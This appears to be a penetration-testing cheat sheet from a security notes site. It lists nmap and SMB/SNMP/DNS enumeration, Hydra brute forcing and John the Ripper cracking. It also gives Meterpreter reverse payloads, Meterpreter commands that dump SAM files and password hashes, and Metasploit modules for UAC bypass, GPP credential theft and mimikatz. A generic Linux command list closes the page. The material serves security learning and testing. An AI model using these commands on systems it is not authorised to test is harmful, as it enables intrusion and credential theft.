- **nmap -v -sS -A -T4 target** **–** Nmap verbose scan, runs syn stealth, T4 timing (should be ok on LAN), OS and service version info, traceroute and scripts against services
|
||
- **nmap -v -sS -p–A -T4 target –** As above but scans all TCP ports (takes a lot longer)
|
||
- **nmap -v -sU -sS -p- -A -T4 target-** As above but scans all TCP ports and UDP scan (takes even longer)
|
||
- **nmap -v -p 445 –script=smb-check-vulns–script-args=unsafe=1 192.168.1.X-** Nmap script to scan for vulnerable SMB servers – WARNING: unsafe=1 may cause knockover
|
||
- **ls /usr/share/nmap/scripts/* | grep ftp-** Search nmap scripts for keywords
|
||
### SMB enumeration
|
||
In computer networking, Server Message Block (SMB), one version of which was also known as Common Internet File System (CIFS), operates as an application-layer network protocol mainly used for providing shared access to files, printers, and serial ports and miscellaneous communications between nodes on a network
|
||
**Command Description**
|
||
- **nbtscan 192.168.1.0/24 –** Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain
|
||
- **enum4linux -a target-ip** Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing
|
||
### Other Host Discovery
|
||
Other methods of host discovery, that don’t use nmap
|
||
**Command Description**
|
||
- **netdiscover -r 192.168.1.0/24-** Discovers IP, MAC Address and MAC vendor on the subnet from ARP, helpful for confirming you’re on the right VLAN at $client site
|
||
**SMB Enumeration**
|
||
Enumerate Windows shares / Samba shares.
|
||
- **nbtscan 192.168.1.0/24-** Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain
|
||
- **enum4linux -a target-ip-** Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing
|
||
### Python Local Web Server
|
||
Python local web server command, handy for serving up shells and exploits on an attacking machine.
|
||
- **python -m SimpleHTTPServer 80** Run a basic http server, great for serving up shells etc
|
||
### Mounting File Shares
|
||
How to mount NFS / CIFS, Windows and Linux file shares.
|
||
- **mount 192.168.1.1:/vol/share /mnt/nfs** Mount NFS share to /mnt/nfs
|
||
- **mount -t cifs -o username=user,password=pass**
|
||
**,domain=blah //192.168.1.X/share-name /mnt/cifs** Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history)
|
||
- **net use Z: \\win-server\share password**
|
||
**/user:domain\janedoe /savecred /p:no** Mount a Windows share on Windows from the command line
|
||
- **apt-get install smb4k -y** Install smb4k on Kali, useful Linux GUI for browsing SMB shares
|
||
### Basic FingerPrinting
|
||
A device fingerprint or machine fingerprint or browser fingerprint is information collected about a remote computing device for the purpose of identification. Fingerprints can be used to fully or partially identify individual users or devices even when cookies are turned off.
|
||
```
|
||
nc -v 192.168.1.1 25
|
||
telnet 192.168.1.1 25 - Basic versioning / fingerprinting via displayed banner
|
||
```
|
||
### SNMP Enumeration
|
||
SNMP enumeration is the process of using SNMP to enumerate user accounts on a target system. SNMP employs two major types of software components for communication: the SNMP agent, which is located on the networking device, and the SNMP management station, which communicates with the agent.
|
||
```
|
||
snmpcheck -t 192.168.1.X -c public
|
||
snmpwalk -c public -v1 192.168.1.X 1|
|
||
grep hrSWRunName|cut -d* * -f
|
||
snmpenum -t 192.168.1.X
|
||
onesixtyone -c names -i hosts
|
||
```
|
||
### DNS Zone Transfers
|
||
- **nslookup -> set type=any -> ls -d blah.com** Windows DNS zone transfer
|
||
- **dig axfr blah.com @ns1.blah.com** Linux DNS zone transfer
|
||
### DNSRecon
|
||
DNSRecon provides the ability to perform:
|
||
1. Check all NS Records for Zone Transfers
|
||
1. Enumerate General DNS Records for a given Domain (MX, SOA, NS, A, AAAA, SPF and TXT)
|
||
1. Perform common SRV Record Enumeration. Top Level Domain (TLD) Expansion
|
||
1. Check for Wildcard Resolution
|
||
1. Brute Force subdomain and host A and AAAA records given a domain and a wordlist
|
||
1. Perform a PTR Record lookup for a given IP Range or CIDR
|
||
1. Check a DNS Server Cached records for A, AAAA and CNAME Records provided a list of host records in a text file to check
|
||
1. Enumerate Common mDNS records in the Local Network Enumerate Hosts and Subdomains using Google
|
||
```
|
||
DNS Enumeration Kali - DNSReconroot:~#
|
||
dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml
|
||
```
|
||
### HTTP / HTTPS Webserver Enumeration
|
||
- **nikto -h 192.168.1.1** Perform a nikto scan against target
|
||
- **dirbuster** Configure via GUI, CLI input doesn’t work most of the time
|
||
### Packet Inspection
|
||
- **tcpdump tcp port 80 -w output.pcap -i eth0** tcpdump for port 80 on interface eth0, outputs to output.pcap
|
||
### Username Enumeration
|
||
Some techniques used to remotely enumerate users on a target system.
|
||
**SMB User Enumeration**
|
||
- **python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXX-**
|
||
Description- Enumerate users from SMB
|
||
- **ridenum.py 192.168.XXX.XXX 500 50000 dict.txt RID cycle SMB /**
|
||
Description- enumerate users from SMB
|
||
**SNMP User Enumeration**
|
||
- **snmpwalk public -v1 192.168.X.XXX 1 |grep 77.1.2.25|cut -d” “ -f4 –**
|
||
Description- Enmerate users from SNMP
|
||
- **python /usr/share/doc/python-impacket-doc/examples/samrdump.py SNMP 192.168.X.XXX**
|
||
Description- Enmerate users from SNMP
|
||
- **nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt(then grep)**
|
||
Description- Search for SNMP servers with nmap, grepable output
|
||
### Passwords
|
||
**Wordlists**
|
||
- **/usr/share/wordlists** – Linux word lists
|
||
### Brute Forcing Services
|
||
**Hydra FTP Brute Force**
|
||
Hydra is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add. This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely. On Ubuntu it can be installed from the synaptic package manager. On Kali Linux, it is per-installed.
|
||
- **hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f**
|
||
**192.168.X.XXX ftp -V** Hydra FTP brute force
|
||
**Hydra POP3 Brute Force**
|
||
- **hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f**
|
||
**192.168.X.XXX pop3 -V** Hydra POP3 brute force
|
||
**Hydra SMTP Brute Force**
|
||
**hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V** Hydra SMTP brute force
|
||
Use -t to limit concurrent connections, example: -t 15
|
||
### Password Cracking
|
||
**John The Ripper – JTR**
|
||
John the Ripper is different from tools like Hydra. Hydra does blind brute-forcing by trying username/password combinations on a service daemon like ftp server or telnet server. John however needs the hash first. So the greater challenge for a hacker is to first get the hash that is to be cracked.
|
||
Now a days hashes are more easily crackable using free rainbow tables available online. Just go to one of the sites, submit the hash and if the hash is made of a common word, then the site would show the word almost instantly. Rainbow tables basically store common words and their hashes in a large database. Larger the database, more the words covered.
|
||
- **john –wordlist=/usr/share/wordlists/rockyou.txt hashes** JTR password cracking
|
||
- **john –format=descrypt –wordlist/usr/share/wordlists/rockyou.txt hash.txt** JTR forced descrypt cracking with wordlist
|
||
- **john –format=descrypt hash –show** JTR forced descrypt brute force cracking
|
||
**Also Read- [Metasploit Commands Cheatsheet](https://hackersonlineclub.com/metasploit-tutorial-metasploit-cheatsheet/)**
|
||
### Meterpreter Payloads
|
||
- **Windows reverse meterpreter payload**
|
||
**set payload windows/meterpreter/reverse_tcp** Windows reverse tcp payload
|
||
- **Windows VNC Meterpreter payload**
|
||
```
|
||
set payload windows/vncinject/reverse_tcp
|
||
set ViewOnly false
|
||
```
|
||
```
|
||
Linux Reverse Meterpreter payload
|
||
set payload linux/meterpreter/reverse_tcp Meterpreter Linux Reverse Payload
|
||
```
|
||
### Meterpreter Cheat Sheet
|
||
Useful meterpreter commands.
|
||
- **upload file c:\\windows** Meterpreter upload file to Windows target
|
||
- **download c:\\windows\\repair\\sam /tmp** Meterpreter download file from Windows target
|
||
- **download c:\\windows\\repair\\sam /tmp** Meterpreter download file from Windows target
|
||
- **execute -f c:\\windows\temp\exploit.exe Meterpreter run .exe on target –** handy for executing uploaded exploits
|
||
- **execute -f cmd -c** Creates new channel with cmd shell
|
||
- **ps** Meterpreter show processes
|
||
- **shell** Meterpreter get shell on the target
|
||
- **getsystem** Meterpreter attempts priviledge escalation the target
|
||
- **hashdump** Meterpreter attempts to dump the hashes on the target
|
||
- **portfwd add –l 3389 –p 3389 –r target** Meterpreter create port forward to target machine
|
||
- **portfwd delete –l 3389 –p 3389 –r target** Meterpreter delete port forward
|
||
### Common Metasploit Modules
|
||
Local Windows Metasploit Modules (exploits)
|
||
**use exploit/windows/local/bypassuac-** Bypass UAC on Windows 7 + Set target + arch, x86/64
|
||
### Auxilary Metasploit Modules
|
||
- **use auxiliary/scanner/http/dir_scanner** Metasploit HTTP directory scanner
|
||
- **use auxiliary/scanner/http/jboss_vulnscan** Metasploit JBOSS vulnerability scanner
|
||
- **use auxiliary/scanner/mssql/mssql_login** Metasploit MSSQL Credential Scanner
|
||
- **use auxiliary/scanner/mysql/mysql_version** Metasploit MSSQL Version Scanner
|
||
- **use auxiliary/scanner/oracle/oracle_login** Metasploit Oracle Login Module
|
||
### Metasploit Powershell Modules
|
||
- **use exploit/multi/script/web_delivery** Metasploit powershell payload delivery module
|
||
- **post/windows/manage/powershell/exec_powershell** Metasploit upload and run powershell script through a session
|
||
- **use exploit/multi/http/jboss_maindeployer** Metasploit JBOSS deploy
|
||
- **use exploit/windows/mssql/mssql_payload** Metasploit MSSQL payload
|
||
### Post Exploit Windows Metasploit Modules
|
||
- **run post/windows/gather/win_privs** Metasploit show privileges of current user
|
||
- **use post/windows/gather/credentials/gpp** Metasploit grab GPP saved passwords
|
||
- **load mimikatz -> wdigest** Metasplit load Mimikatz
|
||
- **run post/windows/gather/local_admin_search_enum** Identify other machines that the supplied domain user has administrative access to
|
||
### **Amap**
|
||
The first next-generation scanning tool for pentesters. It attempts to identify applications even if they are running on a different port than normal.
|
||
It also identifies non-ascii based applications. This is achieved by sending trigger packets, and looking up the responses in a list of response strings.
|
||
```
|
||
root@kali:~# amap -bqv 192.168.1.15 80
|
||
Using trigger file /etc/amap/appdefs.trig ... loaded 30 triggers
|
||
Using response file /etc/amap/appdefs.resp ... loaded 346 responses
|
||
Using trigger file /etc/amap/appdefs.rpc ... loaded 450 triggers
|
||
amap v5.4 (www.thc.org/thc-amap) started at 2014-05-13 19:07:16 - APPLICATION MAPPING mode
|
||
```
|
||
```
|
||
Total amount of tasks to perform in plain connect mode: 23
|
||
Protocol on 192.168.1.15:80/tcp (by trigger ssl) matches http – banner: <!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”>\n<html><head>\n<title>501 Method Not Implemented</title>\n</head><body>\n<h1 id="method-not-implemented"><a class="header" href="#method-not-implemented">Method Not Implemented</a></h1>\n<p> to /index.html not supported.<br />\n</p>\n<hr>\n<address>Apache/2.2.22 (Debian) Server at 12
|
||
Protocol on 192.168.1.15:80/tcp (by trigger ssl) matches http-apache-2 – banner: <!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”>\n<html><head>\n<title>501 Method Not Implemented</title>\n</head><body>\n<h1 id="method-not-implemented-1"><a class="header" href="#method-not-implemented-1">Method Not Implemented</a></h1>\n<p> to /index.html not supported.<br />\n</p>\n<hr>\n<address>Apache/2.2.22 (Debian) Server at 12
|
||
Waiting for timeout on 19 connections …
|
||
amap v5.4 finished at 2014-05-13 19:07:22
|
||
```
|
||
### **Maltego**
|
||
Maltego is a unique platform developed to deliver a clear threat picture to the environment that an organization owns and operates. Maltego’s unique advantage is to demonstrate the complexity and severity of single points of failure as well as trust relationships that exist currently within the scope of your infrastructure.
|
||
```
|
||
root@kali:~# cat /opt/Teeth/README.txt
|
||
NB NB: This runs on Kali Linux
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||
#Make directory /opt/Teeth/
|
||
#Copy tgz to /opt/Teeth/
|
||
#Untar
|
||
```
|
||
Load the config file called /opt/Teeth/etc/Maltego_config.mtz file into Maltego.
|
||
**Also See: [How To Run Maltego?](https://hackersonlineclub.com/how-to-run-maltego-cyber-intelligence-and-forensics-software/)**
|
||
This is painless:
|
||
1) Open Maltego Tungsten (or Radium)
|
||
2) Click top left globe/sphere (Application button)
|
||
3) Import -> Import configuration, choose /opt/Teeth/etc/Maltego_config.mtz
|
||
Notes
|
||
———
|
||
Config file is in /opt/Teeth/etc/TeethConfig.txt
|
||
Everything can be set in the config file.
|
||
Log file is /var/log/Teeth.log, tail -f it while you running transforms for
|
||
real time logs of what’s happening.
|
||
You can set DEBUG/INFO. DEBUG is useful for seeing progress – set in
|
||
/opt/Teeth/units/TeethLib.py line 26
|
||
**Look in cache/ directory. Here you find caches of:**
|
||
1) Nmap results
|
||
2) Mirrors
|
||
3) SQLMAP results
|
||
You need to remove cache files by hand if you no longer want them.
|
||
You can run housekeep/clear_cache.sh but it removes EVERYTHING.
|
||
The WP brute transform uses Metasploit.Start Metasploit server so:
|
||
```
|
||
msfconsole -r /opt/Teeth/static/Teeth-MSF.rc
|
||
```
|
||
It takes a while to start, so be patient.
|
||
In /housekeep is killswitch.sh – it’s the same as kill all python.
|
||
* * *
|
||
**Crackle**
|
||
Crackle exploits a flaw in the BLE pairing process that allows an attacker to guess or very quickly brute force the TK (Temporary Key). With the TK and other data collected from the pairing process, the STK (Short Term Key) and later the LTK (Long Term Key) can be collected.
|
||
With the STK and LTK, all communications between the master and the slave can be decrypted.
|
||
```
|
||
root@kali:~# crackle -i ltk_exchange.pcap -o ltk-decrypted.pcap
|
||
```
|
||
!!!
|
||
TK found: 000000
|
||
ding ding ding, using a TK of 0! Just Cracks(tm)
|
||
!!!
|
||
Warning: packet is too short to be encrypted (1), skipping
|
||
LTK found: 7f62c053f104a5bbe68b1d896a2ed49c
|
||
Done, processed 712 total packets, decrypted 3
|
||
**A-Z LINUX COMMANDS**
|
||
**a**
|
||
apropos : Search Help manual pages (man -k)
|
||
apt-get : Search for and install software packages (Debian)
|
||
aptitude : Search for and install software packages (Debian)
|
||
aspell : Spell Checker
|
||
awk : Find and Replace text, database sort/validate/index
|
||
**b**
|
||
basename : Strip directory and suffix from filenames
|
||
bash : GNU Bourne-Again SHell
|
||
bc : Arbitrary precision calculator language
|
||
bg : Send to background
|
||
break : Exit from a loop
|
||
builtin : Run a shell builtin
|
||
bzip2 : Compress or decompress named file(s)
|
||
**c**
|
||
cal : Display a calendar
|
||
case : Conditionally perform a command
|
||
cat : Concatenate and print (display) the content of files
|
||
cd : Change Directory
|
||
cfdisk : Partition table manipulator for Linux
|
||
chgrp : Change group ownership
|
||
chmod : Change access permissions
|
||
chown : Change file owner and group
|
||
chroot : Run a command with a different root directory
|
||
chkconfig : System services (runlevel)
|
||
cksum : Print CRC checksum and byte counts
|
||
clear : Clear terminal screen
|
||
cmp : Compare two files
|
||
comm : Compare two sorted files line by line
|
||
command : Run a command – ignoring shell functions
|
||
continue : Resume the next iteration of a loop
|
||
cp : Copy one or more files to another location
|
||
cron : Daemon to execute scheduled commands
|
||
crontab : Schedule a command to run at a later time
|
||
csplit : Split a file into context-determined pieces
|
||
cut : Divide a file into several parts
|
||
**d**
|
||
date : Display or change the date & time
|
||
dc : Desk Calculator
|
||
dd : Convert and copy a file, write disk headers, boot records
|
||
ddrescue : Data recovery tool
|
||
declare : Declare variables and give them attributes
|
||
df : Display free disk space
|
||
diff : Display the differences between two files
|
||
diff3 : Show differences among three files
|
||
dig : DNS lookup
|
||
dir : Briefly list directory contents
|
||
dircolors : Colour setup for `ls’
|
||
dirname : Convert a full pathname to just a path
|
||
dirs : Display list of remembered directories
|
||
dmesg : Print kernel & driver messages
|
||
du : Estimate file space usage
|
||
**e**
|
||
echo : Display message on screen
|
||
egrep : Search file(s) for lines that match an extended expression
|
||
eject : Eject removable media
|
||
enable : Enable and disable builtin shell commands
|
||
env : Environment variables
|
||
ethtool : Ethernet card settings
|
||
eval : Evaluate several commands/arguments
|
||
exec : Execute a command
|
||
exit : Exit the shell
|
||
expect : Automate arbitrary applications accessed over a terminal
|
||
expand : Convert tabs to spaces
|
||
export : Set an environment variable
|
||
expr : Evaluate expressions
|
||
**f**
|
||
false : Do nothing, unsuccessfully
|
||
fdformat : Low-level format a floppy disk
|
||
fdisk : Partition table manipulator for Linux
|
||
fg : Send job to foreground
|
||
fgrep : Search file(s) for lines that match a fixed string
|
||
file : Determine file type
|
||
find : Search for files that meet a desired criteria
|
||
fmt : Reformat paragraph text
|
||
fold : Wrap text to fit a specified width.
|
||
for : Expand words, and execute commands
|
||
format : Format disks or tapes
|
||
free : Display memory usage
|
||
fsck : File system consistency check and repair
|
||
ftp : File Transfer Protocol
|
||
function : Define Function Macros
|
||
fuser : Identify/kill the process that is accessing a file
|
||
**g**
|
||
gawk : Find and Replace text within file(s)
|
||
getopts : Parse positional parameters
|
||
grep : Search file(s) for lines that match a given pattern
|
||
groupadd : Add a user security group
|
||
groupdel : Delete a group
|
||
groupmod : Modify a group
|
||
groups : Print group names a user is in
|
||
gzip : Compress or decompress named file(s)
|
||
**h**
|
||
hash : Remember the full pathname of a name argument
|
||
head : Output the first part of file(s)
|
||
help : Display help for a built-in command
|
||
history : Command History
|
||
hostname : Print or set system name
|
||
**i**
|
||
iconv : Convert the character set of a file
|
||
id : Print user and group id’s
|
||
if : Conditionally perform a command
|
||
ifconfig : Configure a network interface
|
||
ifdown : Stop a network interface
|
||
ifup Start a network interface up
|
||
import : Capture an X server screen and save the image to file
|
||
install : Copy files and set attributes
|
||
**j**
|
||
jobs : List active jobs
|
||
join : Join lines on a common field
|
||
**k**
|
||
kill : Stop a process from running
|
||
killall : Kill processes by name
|
||
**l**
|
||
less : Display output one screen at a time
|
||
let : Perform arithmetic on shell variables
|
||
ln : Create a symbolic link to a file
|
||
local : Create variables
|
||
locate : Find files
|
||
logname : Print current login name
|
||
logout : Exit a login shell
|
||
look : Display lines beginning with a given string
|
||
lpc : Line printer control program
|
||
lpr : Off line print
|
||
lprint : Print a file
|
||
lprintd : Abort a print job
|
||
lprintq : List the print queue
|
||
lprm : Remove jobs from the print queue
|
||
ls : List information about file(s)
|
||
lsof : List open files
|
||
**m**
|
||
make : Recompile a group of programs
|
||
man : Help manual
|
||
mkdir : Create new folder(s)
|
||
mkfifo : Make FIFOs (named pipes)
|
||
mkisofs : Create an hybrid ISO9660/JOLIET/HFS filesystem
|
||
mknod : Make block or character special files
|
||
more : Display output one screen at a time
|
||
mount : Mount a file system
|
||
mtools : Manipulate MS-DOS files
|
||
mtr : Network diagnostics (traceroute/ping)
|
||
mv : Move or rename files or directories
|
||
mmv : Mass Move and rename (files)
|
||
**n**
|
||
netstat : Networking information
|
||
nice : Set the priority of a command or job
|
||
nl : Number lines and write files
|
||
nohup : Run a command immune to hangups
|
||
notify-send : Send desktop notifications
|
||
nslookup : Query Internet name servers interactively
|
||
**o**
|
||
open : Open a file in its default application
|
||
op : Operator access
|
||
**p**
|
||
passwd : Modify a user password
|
||
paste : Merge lines of files
|
||
pathchk : Check file name portability
|
||
ping : Test a network connection
|
||
pkill : Stop processes from running
|
||
popd : Restore the previous value of the current directory
|
||
pr : Prepare files for printing
|
||
printcap : Printer capability database
|
||
printenv : Print environment variables
|
||
printf : Format and print data
|
||
ps : Process status
|
||
pushd : Save and then change the current directory
|
||
pwd : Print Working Directory
|
||
**q**
|
||
quota : Display disk usage and limits
|
||
quotacheck : Scan a file system for disk usage
|
||
quotactl : Set disk quotas
|
||
**r**
|
||
ram : ram disk device
|
||
rcp : Copy files between two machines
|
||
read : Read a line from standard input
|
||
readarray : Read from stdin into an array variable
|
||
readonly : Mark variables/functions as readonly
|
||
reboot : Reboot the system
|
||
rename : Rename files
|
||
renice : Alter priority of running processes
|
||
remsync : Synchronize remote files via email
|
||
return : Exit a shell function
|
||
rev : Reverse lines of a file
|
||
rm : Remove files
|
||
rmdir : Remove folder(s)
|
||
rsync : Remote file copy (Synchronize file trees)
|
||
**s**
|
||
screen : Multiplex terminal, run remote shells via ssh
|
||
scp : Secure copy (remote file copy)
|
||
sdiff : Merge two files interactively
|
||
sed : Stream Editor
|
||
select : Accept keyboard input
|
||
seq : Print numeric sequences
|
||
set : Manipulate shell variables and functions
|
||
sftp : Secure File Transfer Program
|
||
shift : Shift positional parameters
|
||
shopt : Shell Options
|
||
shutdown : Shutdown or restart linux
|
||
sleep : Delay for a specified time
|
||
slocate : Find files
|
||
sort : Sort text files
|
||
source : Run commands from a file `.’
|
||
split : Split a file into fixed-size pieces
|
||
ssh : Secure Shell client (remote login program)
|
||
strace : Trace system calls and signals
|
||
su : Substitute user identity
|
||
sudo : Execute a command as another user
|
||
sum : Print a checksum for a file
|
||
suspend : Suspend execution of this shell
|
||
symlink : Make a new name for a file
|
||
sync : Synchronize data on disk with memory
|
||
**t**
|
||
tail : Output the last part of file
|
||
tar : Tape ARchiver
|
||
tee : Redirect output to multiple files
|
||
test : Evaluate a conditional expression
|
||
time : Measure Program running time
|
||
times : User and system times
|
||
touch : Change file timestamps
|
||
top : List processes running on the system
|
||
traceroute : Trace Route to Host
|
||
trap : Run a command when a signal is set(bourne)
|
||
tr : Translate, squeeze, and/or delete characters
|
||
true : Do nothing, successfully
|
||
tsort : Topological sort
|
||
tty : Print filename of terminal on stdin
|
||
type : Describe a command
|
||
**u**
|
||
ulimit : Limit user resources
|
||
umask : Users file creation mask
|
||
umount : Unmount a device
|
||
unalias : Remove an alias
|
||
uname : Print system information
|
||
unexpand : Convert spaces to tabs
|
||
uniq : Uniquify files
|
||
units : Convert units from one scale to another
|
||
unset : Remove variable or function names
|
||
unshar : Unpack shell archive scripts
|
||
until : Execute commands (until error)
|
||
uptime : Show uptime
|
||
useradd : Create new user account
|
||
userdel : Delete a user account
|
||
usermod : Modify user account
|
||
users : List users currently logged in
|
||
uuencode : Encode a binary file
|
||
uudecode : Decode a file created by uuencode
|
||
**v**
|
||
v : Verbosely list directory contents (`ls -l -b’)
|
||
vdir : Verbosely list directory contents (`ls -l -b’)
|
||
vi : Text Editor
|
||
vmstat : Report virtual memory statistics
|
||
**w**
|
||
wait : Wait for a process to complete
|
||
watch: Execute/display a program periodically
|
||
wc : Print byte, word, and line counts
|
||
whereis : Search the user’s $path, man pages and source files for a program
|
||
which : Search the user’s $path for a program file
|
||
while : Execute commands
|
||
who : Print all usernames currently logged in
|
||
whoami : Print the current user id and name (`id -un’)
|
||
wget : Retrieve web pages or files via HTTP, HTTPS or FTP
|
||
write : Send a message to another user
|
||
**x**
|
||
xargs : Execute utility, passing constructed argument list(s)
|
||
xdg-open : Open a file or URL in the user’s preferred application.
|
||
yes : Print a string until interrupted.
|
||
</main>
|
||
|
||
<nav class="nav-wrapper" aria-label="Page navigation">
|
||
<!-- Mobile navigation buttons -->
|
||
<a rel="prev" href="../../posts/ctf/pwn_format_string_vulnerability.html" class="mobile-nav-chapters previous" title="Previous chapter" aria-label="Previous chapter" aria-keyshortcuts="Left">
|
||
<i class="fa fa-angle-left"></i>
|
||
</a>
|
||
|
||
<a rel="next prefetch" href="../../posts/ctf/google_dorks_2023_lists.html" class="mobile-nav-chapters next" title="Next chapter" aria-label="Next chapter" aria-keyshortcuts="Right">
|
||
<i class="fa fa-angle-right"></i>
|
||
</a>
|
||
|
||
<div style="clear: both"></div>
|
||
</nav>
|
||
</div>
|
||
</div>
|
||
|
||
<nav class="nav-wide-wrapper" aria-label="Page navigation">
|
||
<a rel="prev" href="../../posts/ctf/pwn_format_string_vulnerability.html" class="nav-chapters previous" title="Previous chapter" aria-label="Previous chapter" aria-keyshortcuts="Left">
|
||
<i class="fa fa-angle-left"></i>
|
||
</a>
|
||
|
||
<a rel="next prefetch" href="../../posts/ctf/google_dorks_2023_lists.html" class="nav-chapters next" title="Next chapter" aria-label="Next chapter" aria-keyshortcuts="Right">
|
||
<i class="fa fa-angle-right"></i>
|
||
</a>
|
||
</nav>
|
||
|
||
</div>
|
||
|
||
|
||
|
||
<script>
|
||
window.playground_line_numbers = true;
|
||
</script>
|
||
|
||
<script>
|
||
window.playground_copyable = true;
|
||
</script>
|
||
|
||
<script src="../../ace.js"></script>
|
||
<script src="../../editor.js"></script>
|
||
<script src="../../mode-rust.js"></script>
|
||
<script src="../../theme-dawn.js"></script>
|
||
<script src="../../theme-tomorrow_night.js"></script>
|
||
|
||
<script src="../../elasticlunr.min.js"></script>
|
||
<script src="../../mark.min.js"></script>
|
||
<script src="../../searcher.js"></script>
|
||
|
||
<script src="../../clipboard.min.js"></script>
|
||
<script src="../../highlight.js"></script>
|
||
<script src="../../book.js"></script>
|
||
|
||
<!-- Custom JS scripts -->
|
||
<script src="../../src/js/custom.js"></script>
|
||
|
||
|
||
</div>
|
||
</body>
|
||
</html>
|